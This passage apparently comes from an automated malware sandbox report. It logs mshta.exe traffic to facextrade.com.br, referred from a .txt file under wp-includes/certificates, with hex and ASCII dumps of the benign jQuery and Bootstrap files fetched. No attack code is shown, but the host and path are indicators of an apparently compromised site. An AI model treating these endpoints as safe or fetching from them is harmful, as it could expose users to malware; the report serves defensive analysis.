7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 77 65 62 4f 53 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 61 64 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 68 6f 6e 65 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 6f 64 2f 69 29 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 28 29 7b 76 61 72 20 62 3d 61 28 73 29 2e 77 69 64 74 68 28 29 3b 61 28 22 6c 69 22 2c 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 63 61 6d 65 72 61 5f 76 69 73 54 68 75 6d 62 22 29 3b 61 28 22 6c 69 22 2c 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 61 28 74 68 69 73 29 2e 70 6f 73 69 74 69 6f 6e 28 29 2c 64 3d 61 28 22 75 6c 22 2c 73 29 2e 6f 75 74 65 72 57 69 64 74 68 28 29 2c 65 3d 61 28 22 75 6c 22 2c 73 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 66 3d 61 28 22 3e 20 64 69 76 22 2c 73 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 67 3d 66 2d 65 3b 69 66 28 67 3e 30 29 7b 61 28 22 2e 63 61 6d 65 72 61 5f 70 72 65 76 54 68 75 6d 62 73 22 2c 56 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 65 6c 73 65 7b 61 28 22 2e 63 61 6d 65 72 61 5f 70 72 65 76 54 68 75 6d 62 73 22 2c 56 29 2e 61 64 64 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 69 66 28 64 2d 67 3e 62 29 7b 61 28 22 2e 63 61 6d 65 72 61 5f 6e 65 78 74 54 68 75 6d 62 73 22 2c 56 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 65 6c 73 65 7b 61 28 22 2e 63 61 6d 65 72 61 5f 6e 65 78 Data Ascii: // Camera slideshow v1.3.4 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+// Copyright (c) 2012 by Manuel Masia - www.pixedelic.com// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)\|\|navigator.userAgent.match(/webOS/i)\|\|navigator.userAgent.match(/iPad/i)\|\|navigator.userAgent.match(/iPhone/i)\|\|navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_nex

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49767	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:46.152972937 CEST	1213	OUT	GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:46.384581089 CEST	1281	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:30 GMT Server: Apache ETag: "a537b3-55b9-58592f5ac9140" Last-Modified: Tue, 02 Apr 2019 21:38:37 GMT Content-Length: 21945 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383384 23438062 Age: 316 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 52 65 73 70 6f 6e 73 69 76 65 20 76 32 2e 33 2e 30 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 41 70 61 63 68 65 20 4c 69 63 65 6e 73 65 20 76 32 2e 30 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 0a 20 2a 0a 20 2a 20 44 65 73 69 67 6e 65 64 20 61 6e 64 20 62 75 69 6c 74 20 77 69 74 68 20 61 6c 6c 20 74 68 65 20 6c 6f 76 65 20 69 6e 20 74 68 65 20 77 6f 72 6c 64 20 40 74 77 69 74 74 65 72 20 62 79 20 40 6d 64 6f 20 61 6e 64 20 40 66 61 74 2e 0a 20 2a 2f 0a 2e 63 6c 65 61 72 66 69 78 20 7b 0a 20 20 2a 7a 6f 6f 6d 3a 20 31 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 62 65 66 6f 72 65 2c 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 7d 0a 2e 68 69 64 65 2d 74 65 78 74 20 7b 0a 20 20 66 6f 6e 74 3a 20 30 2f 30 20 61 3b 0a 20 20 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 2e 69 6e 70 75 74 2d 62 6c 6f 63 6b 2d 6c 65 76 65 6c 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 40 2d 6d 73 2d 76 69 65 77 70 6f 72 74 20 7b 0a 20 20 77 69 64 74 68 3a 20 64 65 76 69 63 65 2d 77 69 64 74 68 3b 0a 7d 0a 2e 68 69 64 64 65 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 70 68 6f 6e 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 74 61 62 6c 65 74 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 68 69 64 64 65 6e 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 Data Ascii: /! Bootstrap Responsive v2.3.0 * * Copyright 2012 Twitter, Inc * Licensed under the Apache License v2.0 * http://www.apache.org/licenses/LICENSE-2.0 * * Designed and built with all the love in the world @twitter by @mdo and @fat. /.clearfix { zoom: 1;}.clearfix:before,.clearfix:after { display: table; content: ""; line-height: 0;}.clearfix:after { clear: both;}.hide-text { font: 0/0 a; color: transparent; text-shadow: none; background-color: transparent; border: 0;}.input-block-level { display: block; width: 100%; min-height: 30px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box;}@-ms-viewport { width: device-width;}.hidden { display: none; visibility: hidden;}.visible-phone { display: none !important;}.visible-tablet { display: none !important;}.hidden-desktop { display: none !important;}.visible-desktop { display: inherit !important;}@media (min-width: 76
Aug 16, 2022 11:44:46.384612083 CEST	1283	IN	Data Raw: 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 78 29 20 7b 0a 20 20 2e 68 69 64 64 65 6e 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b Data Ascii: 8px) and (max-width: 979px) { .hidden-desktop { display: inherit !important; } .visible-desktop { display: none !important ; } .visible-tablet { display: inherit !important; } .hidden-tablet { display: none !impor
Aug 16, 2022 11:44:46.384635925 CEST	1284	IN	Data Raw: 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 35 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 34 37 30 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 34 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 33 37 30 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 33 20 7b 0a Data Ascii: } .span5 { width: 470px; } .span4 { width: 370px; } .span3 { width: 270px; } .span2 { width: 170px; } .span1 { width: 70px; } .offset12 { margin-left: 1230px; } .offset11 { margin-left:
Aug 16, 2022 11:44:46.384691000 CEST	1286	IN	Data Raw: 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 2a 77 69 64 74 68 3a 20 39 39 2e 39 34 36 38 30 38 35 31 30 36 33 38 32 39 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 73 70 61 6e 31 31 20 7b 0a 20 20 20 20 Data Ascii: { width: 100%; width: 99.94680851063829%; } .row-fluid .span11 { width: 91.45299145299145%; width: 91.39979996362975%; } .row-fluid .span10 { width: 82.90598290598291%; *width: 82.8527914166212%; } .row-fl
Aug 16, 2022 11:44:46.384713888 CEST	1287	IN	Data Raw: 6e 2d 6c 65 66 74 3a 20 39 36 2e 34 37 34 38 31 33 36 30 32 34 37 33 31 36 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 31 31 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 Data Ascii: n-left: 96.47481360247316%; } .row-fluid .offset11:first-child { margin-left: 94.01709401709402%; margin-left: 93.91071103837061%; } .row-fluid .offset10 { margin-left: 88.03418803418803%; margin-left: 87.927805055464
Aug 16, 2022 11:44:46.384850979 CEST	1288	IN	Data Raw: 39 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 35 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 32 2e 37 33 35 30 34 32 37 33 35 30 34 32 37 33 25 3b 0a 20 Data Ascii: 9%; } .row-fluid .offset5:first-child { margin-left: 42.73504273504273%; margin-left: 42.62865975631933%; } .row-fluid .offset4 { margin-left: 36.75213675213675%; margin-left: 36.645753773413354%; } .row-fluid .of
Aug 16, 2022 11:44:46.384876013 CEST	1290	IN	Data Raw: 20 74 65 78 74 61 72 65 61 2e 73 70 61 6e 31 30 2c 0a 20 20 2e 75 6e 65 64 69 74 61 62 6c 65 2d 69 6e 70 75 74 2e 73 70 61 6e 31 30 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 39 35 36 70 78 3b 0a 20 20 7d 0a 20 20 69 6e 70 75 74 2e 73 70 61 6e 39 Data Ascii: textarea.span10, .uneditable-input.span10 { width: 956px; } input.span9, textarea.span9, .uneditable-input.span9 { width: 856px; } input.span8, textarea.span8, .uneditable-input.span8 { width: 756px; } input.
Aug 16, 2022 11:44:46.384896994 CEST	1291	IN	Data Raw: 6f 70 20 2e 63 6f 6e 74 61 69 6e 65 72 2c 0a 20 20 2e 6e 61 76 62 61 72 2d 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 37 32 34 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 31 32 Data Ascii: op .container, .navbar-fixed-bottom .container { width: 724px; } .span12 { width: 724px; } .span11 { width: 662px; } .span10 { width: 600px; } .span9 { width: 538px; } .span8 { width: 476px; }
Aug 16, 2022 11:44:46.384989977 CEST	1293	IN	Data Raw: 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 2e 37 36 32 34 33 30 39 33 39 32 32 36 35 31 39 34 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 Data Ascii: der-box; float: left; margin-left: 2.7624309392265194%; margin-left: 2.709239449864817%; } .row-fluid [class="span"]:first-child { margin-left: 0; } .row-fluid .controls-row [class="span"] + [class="span"] { mar
Aug 16, 2022 11:44:46.385016918 CEST	1294	IN	Data Raw: 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 31 32 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 35 2e 35 32 34 38 36 31 38 37 38 34 35 33 30 34 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 35 Data Ascii: .row-fluid .offset12 { margin-left: 105.52486187845304%; margin-left: 105.41847889972962%; } .row-fluid .offset12:first-child { margin-left: 102.76243093922652%; margin-left: 102.6560479605031%; } .row-fluid .offset11
Aug 16, 2022 11:44:46.616087914 CEST	1310	IN	Data Raw: 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 34 2e 31 34 33 36 34 36 34 30 38 38 33 39 37 38 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 34 2e 30 33 37 32 36 33 34 33 30 31 31 36 33 37 36 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f Data Ascii: margin-left: 54.14364640883978%; margin-left: 54.037263430116376%; } .row-fluid .offset6:first-child { margin-left: 51.38121546961326%; margin-left: 51.27483249088986%; } .row-fluid .offset5 { margin-left: 45.5801104
Aug 16, 2022 11:44:46.617850065 CEST	1318	OUT	GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:46.848284006 CEST	1348	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:37:13 GMT Server: Apache ETag: "a5303e-6698-58592d3483f00" Last-Modified: Tue, 02 Apr 2019 21:29:00 GMT Content-Length: 26264 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383386 18314933 Age: 454 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 2a 0a 2a 09 47 45 4e 45 52 41 4c 0a 2a 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 61 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 69 6d 67 2c 20 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 6f 6c 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 75 6c 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 6c 69 2c 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 61 62 6c 65 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 62 6f 64 79 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 66 6f 6f 74 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 68 65 61 64 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 72 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 68 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 64 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 61 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 69 6d 67 2c 20 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 6f 6c 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 75 6c 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 6c 69 2c 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 61 62 6c 65 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 62 6f 64 79 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 66 6f 6f 74 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 68 65 61 64 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 72 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 68 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 64 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 20 30 3b 0a 09 66 6f 6e 74 3a 20 69 6e 68 65 72 69 74 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 30 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 69 6d 67 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 66 61 6b 65 68 6f 76 65 72 20 7b 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 30 70 78 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 7b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a Data Ascii: /**************************GENERAL*************************/.camera_wrap a, .camera_wrap img, .camera_wrap ol, .camera_wrap ul, .camera_wrap li,.camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td.camera_thumbs_wrap a, .camera_thumbs_wrap img, .camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,.camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {background: none;border: 0;font: inherit;font-size: 100%;margin: 0;padding: 0;vertical-align: baseline;list-style: none}.camera_wrap {display: none;float: left;position: relative;z-index: 0;}.camera_wrap img {max-width: none!important;}.camera_fakehover {height: 100%;min-height: 60px;position: relative;width: 100%;z-index: 1;}.camera_wrap {width: 100%;
Aug 16, 2022 11:44:46.856096983 CEST	1375	OUT	GET /wp-content/themes/theme51253/style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:47.088273048 CEST	1518	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:37:32 GMT Server: Apache ETag: "a53798-171-58592c24b7dc0" Last-Modified: Tue, 02 Apr 2019 21:24:15 GMT Content-Length: 369 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383388 22077061 Age: 434 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2d 2d 0a 09 54 68 65 6d 65 20 4e 61 6d 65 3a 20 74 68 65 6d 65 35 31 32 35 33 0a 09 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 74 68 65 6d 65 20 66 6f 72 20 57 6f 72 64 70 72 65 73 73 20 34 2e 34 2e 78 0a 09 41 75 74 68 6f 72 3a 20 54 65 6d 70 6c 61 74 65 5f 48 65 6c 70 2e 63 6f 6d 0a 09 41 75 74 68 6f 72 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 54 65 6d 70 6c 61 74 65 3a 20 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 0a 2d 2d 2a 2f 0a 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 50 6c 65 61 73 65 2c 20 59 6f 75 20 6d 61 79 20 70 75 74 20 63 75 73 74 6f 6d 20 43 53 53 20 68 65 72 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a Data Ascii: /--Theme Name: theme51253Theme URI: http://info.template-help.com/help/Description: A theme for Wordpress 4.4.xAuthor: Template_Help.comAuthor URI: http://info.template-help.com/help/Template: CherryFrameworkVersion: 3.1.5--//* ----------------------------------------Please, You may put custom CSS here---------------------------------------- */
Aug 16, 2022 11:44:47.089955091 CEST	1519	OUT	GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:47.328305006 CEST	1535	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:47 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT ETag: "a50de6-2b5-5c93d38685a84" Accept-Ranges: bytes Content-Length: 693 Connection: close Content-Type: text/css Data Raw: 61 2e 67 66 6c 61 67 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 70 61 64 64 69 6e 67 3a 31 70 78 20 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 32 34 2e 70 6e 67 29 3b 7d 0a 61 2e 67 66 6c 61 67 20 69 6d 67 20 7b 62 6f 72 64 65 72 3a 30 3b 68 65 69 67 68 74 3a 32 34 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 7d 0a 61 2e 67 66 6c 61 67 3a 68 6f 76 65 72 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 32 34 61 2e 70 6e 67 29 3b 7d 0a 69 6d 67 2e 67 73 74 61 74 73 20 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 0a 61 2e 61 6c 74 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 61 6c 74 5f 66 6c 61 67 73 2e 70 6e 67 29 3b 7d 0a 61 2e 61 6c 74 5f 66 6c 61 67 3a 68 6f 76 65 72 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 61 6c 74 5f 66 6c 61 67 73 61 2e 70 6e 67 29 3b 7d 0a 61 2e 75 73 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 61 2e 62 72 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 30 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 61 2e 6d 78 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 30 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 0a 61 2e 67 6c 69 6e 6b 20 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 7d 0a 61 2e 67 6c 69 6e 6b 20 73 70 61 6e 20 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 7d 0a 61 2e 67 6c 69 6e 6b 20 69 6d 67 20 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 64 69 73 70 